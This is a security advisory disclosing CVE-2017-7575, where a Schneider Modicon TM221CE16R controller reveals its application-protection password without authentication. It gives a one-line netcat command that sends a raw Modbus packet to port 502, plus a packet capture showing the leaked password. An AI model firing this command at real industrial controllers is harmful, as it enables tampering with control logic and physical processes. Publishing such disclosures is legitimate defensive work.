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## OS-S Security Advisory 2017-01

**Date:** April 4<sup>th</sup>, 2017

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**CVE:** CVE-2017-7575

**Vendor Reference:** SEVD-2017-097-01

**Vendor Advisory:** <http://www.schneider-electric.com/en/download/document/SEVD-2017-097-01/>

**CVSS:** 10

**Affected Device:** Schneider Modicon TM221CE16R, Firmware 1.3.3.3

**Title:** The password for the application protection of the Schneider Modicon TM221CE16R can be retrieved without authentication. Subsequently the application may be arbitrarily downloaded, uploaded and modified.

**Severity:** Critical. The protection of the application is not existent.

**Ease of Exploitation:** Trivial

**Vulnerability type:** Information Disclosure

**Vendor contacted:** December 23<sup>rd</sup>, 2016

### Abstract

The Application Protection is used to prevent the transfer of the application from a logic controller into a SoMachine Basic project. A simple command (seen below) can be send via Modbus over TCP port 502 to the logic controller and it will return the password unencrypted.

```
// bash command  
echo -n -e '\x00\x01\x00\x00\x00\x05\x01\x5a\x00\x03\x00' | nc IP 502
```

After that the retrieved password can be entered in SoMachine Basic to download, modify and subsequently upload again any desired application.

### Vendor Contacted

We contacted the vendor. The vendor acknowledged the receipt of the report. We did not receive any further communication until we disclosed the vulnerability on Bugtraq. The vendor publicly acknowledged the vulnerability on April 8<sup>th</sup>, 2017. The vendor will provide an update on June 15<sup>th</sup> 2017.

The image shows a Wireshark network traffic capture. The top pane displays a list of packets, with packet 29 selected. The middle pane shows the details of this packet, which is a Modbus response. The bottom pane shows the raw data in hex and ASCII format.

No.	Time	Source	Destination	Protocol	Length	Info
25	9.121287760	192.168.177.25	192.168.177.24	TCP	74	42996-502 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SA...
26	9.122133111	192.168.177.24	192.168.177.25	TCP	60	502-42996 [SYN, ACK] Seq=0 Ack=1 Win=4380 Len=0 M...
27	9.122159301	192.168.177.25	192.168.177.24	TCP	54	42996-502 [ACK] Seq=1 Ack=1 Win=29200 Len=0
28	9.128741995	192.168.177.25	192.168.177.24	Modbus...	65	Query: Trans: 1; Unit: 1, Func: 90: Uni...
29	9.130298604	192.168.177.24	192.168.177.25	Modbus...	142	Response: Trans: 1; Unit: 1, Func: 90: Uni...
30	9.130317949	192.168.177.25	192.168.177.24	TCP	54	42996-502 [ACK] Seq=12 Ack=89 Win=29200 Len=0
31	9.139497319	192.168.177.25	192.168.177.24	Modbus...	64	Query: Trans: 1; Unit: 1, Func: 90: Uni...
32	9.140212697	192.168.177.24	192.168.177.25	Modbus...	86	Response: Trans: 1; Unit: 1, Func: 90: Uni...
33	9.183029082	192.168.177.25	192.168.177.24	TCP	54	42996-502 [ACK] Seq=22 Ack=121 Win=29200 Len=0

The details pane for packet 29 shows the following structure:

- Request of project information (highlighted in red)
- Response of logic controller with project name and password (highlighted in blue)

The raw data pane shows the following hex and ASCII representation:

```

00000000 00 01 00 00 00 05 01 5a 00 03 00 .....Z...
00000010 00 01 00 00 00 52 01 5a 00 fe 0a 00 00 00 00 00 .....R.Z...
00000020 00 00 00 00 00 00 00 00 01 00 00 00 21 4d 79 20 .....!My
00000030 50 72 6f 6a 65 63 74 20 4e 61 6d 65 00 00 00 00 Project Name...
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 09 50 .....P
00000050 41 53 53 57 4f 52 44 00 .....ASSWORD.
00000060 00 01 00 00 00 04 01 5a 00 04 .....Z...
00000070 00 01 00 00 00 1a 01 5a 00 fe 02 02 81 03 7b 63 .....Z...{c
00000080 6c 76 7b 63 6c 76 ff ff ff ff 03 00 00 0e 00 00 lv{clv...

```

Image 1: Wireshark dump of TCP/Modbus communication